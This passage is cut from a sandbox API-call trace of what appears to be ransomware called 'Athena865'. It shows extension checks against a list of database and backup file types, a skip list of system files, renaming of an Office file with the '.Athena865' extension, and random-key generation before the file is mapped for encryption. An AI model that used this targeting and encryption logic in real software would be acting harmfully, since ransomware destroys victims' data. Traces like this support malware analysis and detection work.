(lpString="xml") returned 3 [0149.480] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0149.480] lstrlenW (lpString="$er") returned 3 [0149.480] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0149.480] lstrlenW (lpString="4dd") returned 3 [0149.480] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0149.480] lstrlenW (lpString="4dl") returned 3 [0149.480] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0149.480] lstrlenW (lpString="^^^") returned 3 [0149.480] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0149.480] lstrlenW (lpString="abs") returned 3 [0149.480] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0149.480] lstrlenW (lpString="abx") returned 3 [0149.480] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0149.480] lstrlenW (lpString="accdb") returned 5 [0149.480] lstrcmpiW (lpString1="X_DLL", lpString2="accdb") returned 1 [0149.480] lstrlenW (lpString="accdc") returned 5 [0149.480] lstrcmpiW (lpString1="X_DLL", lpString2="accdc") returned 1 [0149.480] lstrlenW (lpString="accde") returned 5 [0149.480] lstrcmpiW (lpString1="X_DLL", lpString2="accde") returned 1 [0149.480] lstrlenW (lpString="accdr") returned 5 [0149.481] lstrcmpiW (lpString1="X_DLL", lpString2="accdr") returned 1 [0149.481] lstrlenW (lpString="accdt") returned 5 [0149.481] lstrcmpiW (lpString1="X_DLL", lpString2="accdt") returned 1 [0149.481] lstrlenW (lpString="accdw") returned 5 [0149.481] lstrcmpiW (lpString1="X_DLL", lpString2="accdw") returned 1 [0149.481] lstrlenW (lpString="accft") returned 5 [0149.481] lstrcmpiW (lpString1="X_DLL", lpString2="accft") returned 1 [0149.481] lstrlenW (lpString="adb") returned 3 [0149.481] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0149.481] lstrlenW (lpString="adb") returned 3 [0149.481] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0149.481] lstrlenW (lpString="ade") returned 3 [0149.481] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0149.481] lstrlenW (lpString="adf") returned 3 [0149.481] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0149.481] lstrlenW (lpString="adn") returned 3 [0149.481] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0149.485] lstrlenW (lpString="adp") returned 3 [0149.486] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0149.486] lstrlenW (lpString="alf") returned 3 [0149.486] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0149.486] lstrlenW (lpString="ask") returned 3 [0149.486] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0149.486] lstrlenW (lpString="btr") returned 3 [0149.486] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0149.486] lstrlenW (lpString="cat") returned 3 [0149.486] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0149.486] lstrlenW (lpString="cdb") returned 3 [0149.486] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0149.486] lstrlenW (lpString="ckp") returned 3 [0149.486] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0149.486] lstrlenW (lpString="cma") returned 3 [0149.486] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0149.486] lstrlenW (lpString="cpd") returned 3 [0149.486] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0149.486] lstrlenW (lpString="dacpac") returned 6 [0149.486] lstrcmpiW (lpString1="DX_DLL", lpString2="dacpac") returned 1 [0149.486] lstrlenW (lpString="dad") returned 3 [0149.486] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0149.486] lstrlenW (lpString="dadiagrams") returned 10 [0149.486] lstrcmpiW (lpString1="LL.IDX_DLL", lpString2="dadiagrams") returned 1 [0149.486] lstrlenW (lpString="daschema") returned 8 [0149.487] lstrcmpiW (lpString1=".IDX_DLL", lpString2="daschema") returned -1 [0149.487] lstrlenW (lpString="db-journal") returned 10 [0149.487] lstrcmpiW (lpString1="LL.IDX_DLL", lpString2="db-journal") returned 1 [0149.487] lstrlenW (lpString="db-shm") returned 6 [0149.487] lstrcmpiW (lpString1="DX_DLL", lpString2="db-shm") returned 1 [0149.487] lstrlenW (lpString="db-wal") returned 6 [0149.487] lstrcmpiW (lpString1="DX_DLL", lpString2="db-wal") returned 1 [0149.487] lstrlenW (lpString="dbc") returned 3 [0149.487] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0149.487] lstrlenW (lpString="dbs") returned 3 [0149.487] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0149.487] lstrlenW (lpString="dbt") returned 3 [0149.487] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0149.487] lstrlenW (lpString="dbv") returned 3 [0149.487] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0149.487] lstrlenW (lpString="dbx") returned 3 [0149.487] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0149.487] lstrlenW (lpString="dcb") returned 3 [0149.487] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0149.487] lstrlenW (lpString="dct") returned 3 [0149.487] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0149.487] lstrlenW (lpString="dcx") returned 3 [0149.487] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0149.487] lstrlenW (lpString="ddl") returned 3 [0149.487] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0149.487] lstrlenW (lpString="dlis") returned 4 [0149.487] lstrcmpiW (lpString1="_DLL", lpString2="dlis") returned -1 [0149.487] lstrlenW (lpString="dp1") returned 3 [0149.487] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0149.488] lstrlenW (lpString="dqy") returned 3 [0149.488] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0149.488] lstrlenW (lpString="dsk") returned 3 [0149.488] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0149.488] lstrlenW (lpString="dsn") returned 3 [0149.488] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0149.488] lstrlenW (lpString="dtsx") returned 4 [0149.488] lstrcmpiW (lpString1="_DLL", lpString2="dtsx") returned -1 [0149.488] lstrlenW (lpString="dxl") returned 3 [0149.488] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0149.488] lstrlenW (lpString="eco") returned 3 [0149.488] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0149.488] lstrlenW (lpString="ecx") returned 3 [0149.488] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0149.488] lstrlenW (lpString="edb") returned 3 [0149.488] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0149.488] lstrlenW (lpString="epim") returned 4 [0149.488] lstrcmpiW (lpString1="_DLL", lpString2="epim") returned -1 [0149.488] lstrlenW (lpString="fcd") returned 3 [0149.488] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0149.488] lstrlenW (lpString="fdb") returned 3 [0149.488] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0149.488] lstrlenW (lpString="fic") returned 3 [0149.488] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0149.488] lstrlenW (lpString="flexolibrary") returned 12 [0149.488] lstrcmpiW (lpString1=".DLL.IDX_DLL", lpString2="flexolibrary") returned -1 [0149.488] lstrlenW (lpString="fm5") returned 3 [0149.488] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0149.488] lstrlenW (lpString="fmp") returned 3 [0149.489] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0149.489] lstrlenW (lpString="fmp12") returned 5 [0149.489] lstrcmpiW (lpString1="X_DLL", lpString2="fmp12") returned 1 [0149.489] lstrlenW (lpString="fmpsl") returned 5 [0149.489] lstrcmpiW (lpString1="X_DLL", lpString2="fmpsl") returned 1 [0149.489] lstrlenW (lpString="fol") returned 3 [0149.489] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0149.489] lstrlenW (lpString="fp3") returned 3 [0149.489] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0149.489] lstrlenW (lpString="fp4") returned 3 [0149.489] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0149.489] lstrlenW (lpString="fp5") returned 3 [0149.489] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0149.489] lstrlenW (lpString="fp7") returned 3 [0149.489] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0149.489] lstrlenW (lpString="fpt") returned 3 [0149.489] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0149.489] lstrlenW (lpString="frm") returned 3 [0149.489] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0149.489] lstrlenW (lpString="gdb") returned 3 [0149.489] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0149.489] lstrlenW (lpString="gdb") returned 3 [0149.489] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0149.489] lstrlenW (lpString="grdb") returned 4 [0149.489] lstrcmpiW (lpString1="_DLL", lpString2="grdb") returned -1 [0149.489] lstrlenW (lpString="gwi") returned 3 [0149.489] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0149.489] lstrlenW (lpString="hdb") returned 3 [0149.489] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0149.489] lstrlenW (lpString="his") returned 3 [0149.490] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0149.490] lstrlenW (lpString="ib") returned 2 [0149.490] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0149.490] lstrlenW (lpString="idb") returned 3 [0149.490] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0149.490] lstrlenW (lpString="ihx") returned 3 [0149.490] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0149.490] lstrlenW (lpString="itdb") returned 4 [0149.490] lstrcmpiW (lpString1="_DLL", lpString2="itdb") returned -1 [0149.490] lstrlenW (lpString="itw") returned 3 [0149.490] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0149.490] lstrlenW (lpString="jet") returned 3 [0149.490] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0149.490] lstrlenW (lpString="jtx") returned 3 [0149.490] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0149.490] lstrlenW (lpString="kdb") returned 3 [0149.490] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0149.490] lstrlenW (lpString="kexi") returned 4 [0149.490] lstrcmpiW (lpString1="_DLL", lpString2="kexi") returned -1 [0149.490] lstrlenW (lpString="kexic") returned 5 [0149.490] lstrcmpiW (lpString1="X_DLL", lpString2="kexic") returned 1 [0149.490] lstrlenW (lpString="kexis") returned 5 [0149.490] lstrcmpiW (lpString1="X_DLL", lpString2="kexis") returned 1 [0149.490] lstrlenW (lpString="lgc") returned 3 [0149.490] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0149.490] lstrlenW (lpString="lwx") returned 3 [0149.490] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0149.490] lstrlenW (lpString="maf") returned 3 [0149.490] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0149.490] lstrlenW (lpString="maq") returned 3 [0149.490] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0149.491] lstrlenW (lpString="mar") returned 3 [0149.491] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0149.491] lstrlenW (lpString="marshal") returned 7 [0149.491] lstrcmpiW (lpString1="IDX_DLL", lpString2="marshal") returned -1 [0149.491] lstrlenW (lpString="mas") returned 3 [0149.491] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0149.491] lstrlenW (lpString="mav") returned 3 [0149.491] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0149.491] lstrlenW (lpString="maw") returned 3 [0149.491] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0149.491] lstrlenW (lpString="mdbhtml") returned 7 [0149.491] lstrcmpiW (lpString1="IDX_DLL", lpString2="mdbhtml") returned -1 [0149.491] lstrlenW (lpString="mdn") returned 3 [0149.491] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0149.491] lstrlenW (lpString="mdt") returned 3 [0149.491] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0149.491] lstrlenW (lpString="mfd") returned 3 [0149.491] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0149.491] lstrlenW (lpString="mpd") returned 3 [0149.491] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0149.491] lstrlenW (lpString="mrg") returned 3 [0149.491] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0149.491] lstrlenW (lpString="mud") returned 3 [0149.491] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0149.491] lstrlenW (lpString="mwb") returned 3 [0149.491] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0149.491] lstrlenW (lpString="myd") returned 3 [0149.491] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0149.491] lstrlenW (lpString="ndf") returned 3 [0149.491] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0149.492] lstrlenW (lpString="nnt") returned 3 [0149.492] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0149.492] lstrlenW (lpString="nrmlib") returned 6 [0149.492] lstrcmpiW (lpString1="DX_DLL", lpString2="nrmlib") returned -1 [0149.492] lstrlenW (lpString="ns2") returned 3 [0149.492] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0149.492] lstrlenW (lpString="ns3") returned 3 [0149.492] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0149.492] lstrlenW (lpString="ns4") returned 3 [0149.492] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0149.492] lstrlenW (lpString="nsf") returned 3 [0149.492] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0149.492] lstrlenW (lpString="nv") returned 2 [0149.492] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0149.492] lstrlenW (lpString="nv2") returned 3 [0149.492] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0149.492] lstrlenW (lpString="nwdb") returned 4 [0149.492] lstrcmpiW (lpString1="_DLL", lpString2="nwdb") returned -1 [0149.492] lstrlenW (lpString="nyf") returned 3 [0149.492] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0149.492] lstrlenW (lpString="odb") returned 3 [0149.492] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0149.492] lstrlenW (lpString="odb") returned 3 [0149.492] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0149.492] lstrlenW (lpString="oqy") returned 3 [0149.492] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0149.492] lstrlenW (lpString="ora") returned 3 [0149.492] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0149.492] lstrlenW (lpString="orx") returned 3 [0149.492] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0149.492] lstrlenW (lpString="owc") returned 3 [0149.493] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0149.493] lstrlenW (lpString="p96") returned 3 [0149.493] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0149.493] lstrlenW (lpString="p97") returned 3 [0149.493] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0149.493] lstrlenW (lpString="pan") returned 3 [0149.493] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0149.493] lstrlenW (lpString="pdb") returned 3 [0149.493] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0149.493] lstrlenW (lpString="pdm") returned 3 [0149.493] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0149.493] lstrlenW (lpString="pnz") returned 3 [0149.493] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0149.493] lstrlenW (lpString="qry") returned 3 [0149.493] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0149.493] lstrlenW (lpString="qvd") returned 3 [0149.493] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0149.493] lstrlenW (lpString="rbf") returned 3 [0149.493] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0149.493] lstrlenW (lpString="rctd") returned 4 [0149.493] lstrcmpiW (lpString1="_DLL", lpString2="rctd") returned -1 [0149.493] lstrlenW (lpString="rod") returned 3 [0149.493] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0149.493] lstrlenW (lpString="rodx") returned 4 [0149.493] lstrcmpiW (lpString1="_DLL", lpString2="rodx") returned -1 [0149.493] lstrlenW (lpString="rpd") returned 3 [0149.493] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0149.493] lstrlenW (lpString="rsd") returned 3 [0149.493] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0149.493] lstrlenW (lpString="sas7bdat") returned 8 [0149.494] lstrcmpiW (lpString1=".IDX_DLL", lpString2="sas7bdat") returned -1 [0149.494] lstrlenW (lpString="sbf") returned 3 [0149.494] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0149.494] lstrlenW (lpString="scx") returned 3 [0149.494] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0149.494] lstrlenW (lpString="sdb") returned 3 [0149.494] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0149.494] lstrlenW (lpString="sdc") returned 3 [0149.494] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0149.494] lstrlenW (lpString="sdf") returned 3 [0149.494] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0149.494] lstrlenW (lpString="sis") returned 3 [0149.494] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0149.494] lstrlenW (lpString="spq") returned 3 [0149.494] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0149.494] lstrlenW (lpString="te") returned 2 [0149.494] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0149.494] lstrlenW (lpString="teacher") returned 7 [0149.494] lstrcmpiW (lpString1="IDX_DLL", lpString2="teacher") returned -1 [0149.494] lstrlenW (lpString="tmd") returned 3 [0149.494] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0149.494] lstrlenW (lpString="tps") returned 3 [0149.494] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0149.494] lstrlenW (lpString="trc") returned 3 [0149.494] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0149.494] lstrlenW (lpString="trc") returned 3 [0149.494] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0149.494] lstrlenW (lpString="trm") returned 3 [0149.494] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0149.494] lstrlenW (lpString="udb") returned 3 [0149.495] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0149.495] lstrlenW (lpString="udl") returned 3 [0149.495] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0149.495] lstrlenW (lpString="usr") returned 3 [0149.495] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0149.495] lstrlenW (lpString="v12") returned 3 [0149.495] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0149.495] lstrlenW (lpString="vis") returned 3 [0149.495] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0149.495] lstrlenW (lpString="vpd") returned 3 [0149.495] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0149.495] lstrlenW (lpString="vvv") returned 3 [0149.495] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0149.495] lstrlenW (lpString="wdb") returned 3 [0149.495] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0149.495] lstrlenW (lpString="wmdb") returned 4 [0149.495] lstrcmpiW (lpString1="_DLL", lpString2="wmdb") returned -1 [0149.495] lstrlenW (lpString="wrk") returned 3 [0149.495] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0149.495] lstrlenW (lpString="xdb") returned 3 [0149.495] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0149.495] lstrlenW (lpString="xld") returned 3 [0149.495] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0149.495] lstrlenW (lpString="xmlff") returned 5 [0149.495] lstrcmpiW (lpString1="X_DLL", lpString2="xmlff") returned -1 [0149.495] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL.Athena865") returned 76 [0149.495] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll.athena865"), dwFlags=0x1) returned 1 [0149.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0149.498] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=108416) returned 1 [0149.498] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0149.498] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0149.498] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0149.498] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0149.499] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0149.499] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.499] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1aa80, lpName=0x0) returned 0x17c [0149.503] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1aa80) returned 0x100000 [0149.524] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0149.524] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0149.524] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.524] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0149.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0149.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0149.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0149.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0149.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0149.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0149.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0149.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0149.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0149.525] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0149.526] CloseHandle (hObject=0x17c) returned 1 [0149.526] CloseHandle (hObject=0x154) returned 1 [0149.526] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0149.526] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0149.526] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0149.527] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea593000, ftCreationTime.dwHighDateTime=0x1caccde, ftLastAccessTime.dwLowDateTime=0x2284ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea593000, ftLastWriteTime.dwHighDateTime=0x1caccde, nFileSizeHigh=0x0, nFileSizeLow=0x96180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WWINTL.REST.IDX_DLL", cAlternateFileName="WWINTL~2.IDX")) returned 1 [0149.527] lstrcmpiW (lpString1="WWINTL.REST.IDX_DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0149.527] lstrcmpiW (lpString1="WWINTL.REST.IDX_DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0149.527] lstrcmpiW (lpString1="WWINTL.REST.IDX_DLL", lpString2=".") returned 1 [0149.527] lstrcmpiW (lpString1="WWINTL.REST.IDX_DLL", lpString2="..") returned 1 [0149.527] lstrcmpiW (lpString1="WWINTL.REST.IDX_DLL", lpString2="windows") returned 1 [0149.527] lstrcmpiW (lpString1="WWINTL.REST.IDX_DLL", lpString2="bootmgr") returned 1 [0149.527] lstrcmpiW (lpString1="WWINTL.REST.IDX_DLL", lpString2="temp") returned 1 [0149.527] lstrcmpiW (lpString1="WWINTL.REST.IDX_DLL", lpString2="pagefile.sys") returned 1 [0149.527] lstrcmpiW (lpString1="WWINTL.REST.IDX_DLL", lpString2="boot") returned 1 [0149.527] lstrcmpiW (lpString1="WWINTL.REST.IDX_DLL", lpString2="ids.txt") returned 1 [0149.527] lstrcmpiW (lpString1="WWINTL.REST.IDX_DLL", lpString2="ntuser.dat") returned 1 [0149.527] lstrcmpiW (lpString1="WWINTL.REST.IDX_DLL", lpString2="perflogs") returned 1 [0149.527] lstrcmpiW (lpString1="WWINTL.REST.IDX_DLL", lpString2="MSBuild") returned 1 [0149.527] lstrlenW (lpString="WWINTL.REST.IDX_DLL") returned 19 [0149.527] lstrcpyW (in: lpString1=0x241e8a8, lpString2="WWINTL.REST.IDX_DLL" | out: lpString1="WWINTL.REST.IDX_DLL") returned="WWINTL.REST.IDX_DLL" [0149.527] lstrlenW (lpString="WWINTL.REST.IDX_DLL") returned 19 [0149.527] lstrlenW (lpString="Athena865") returned 9 [0149.527] lstrcmpiW (lpString1="T.IDX_DLL", lpString2="Athena865") returned 1 [0149.527] lstrlenW (lpString=".dll") returned 4 [0149.527] lstrcmpiW (lpString1="WWINTL.REST.IDX_DLL", lpString2=".dll") returned 1 [0149.527] lstrlenW (lpString=".lnk") returned 4 [0149.528] lstrcmpiW (lpString1="WWINTL.REST.IDX_DLL", lpString2=".lnk") returned 1 [0149.528] lstrlenW (lpString=".ini") returned 4 [0149.528] lstrcmpiW (lpString1="WWINTL.REST.IDX_DLL", lpString2=".ini") returned 1 [0149.528] lstrlenW (lpString=".sys") returned 4 [0149.528] lstrcmpiW (lpString1="WWINTL.REST.IDX_DLL", lpString2=".sys") returned 1 [0149.528] lstrlenW (lpString="WWINTL.REST.IDX_DLL") returned 19 [0149.528] lstrlenW (lpString="bak") returned 3 [0149.528] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0149.528] lstrlenW (lpString="ba_") returned 3 [0149.528] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0149.528] lstrlenW (lpString="dbb") returned 3 [0149.528] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0149.528] lstrlenW (lpString="vmdk") returned 4 [0149.528] lstrcmpiW (lpString1="_DLL", lpString2="vmdk") returned -1 [0149.528] lstrlenW (lpString="rar") returned 3 [0149.528] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0149.528] lstrlenW (lpString="zip") returned 3 [0149.528] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0149.528] lstrlenW (lpString="tgz") returned 3 [0149.528] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0149.528] lstrlenW (lpString="vbox") returned 4 [0149.528] lstrcmpiW (lpString1="_DLL", lpString2="vbox") returned -1 [0149.528] lstrlenW (lpString="vdi") returned 3 [0149.528] lstrcmpiW (lpString1="DLL", 